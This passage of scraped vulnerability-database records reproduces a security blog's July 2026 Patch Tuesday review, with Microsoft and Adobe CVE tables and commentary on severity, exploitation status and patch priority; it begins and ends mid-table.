Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:16.455952Z"}, {"uuid": "7475ebc0-f454-47cb-b516-cdee20141add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54118", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  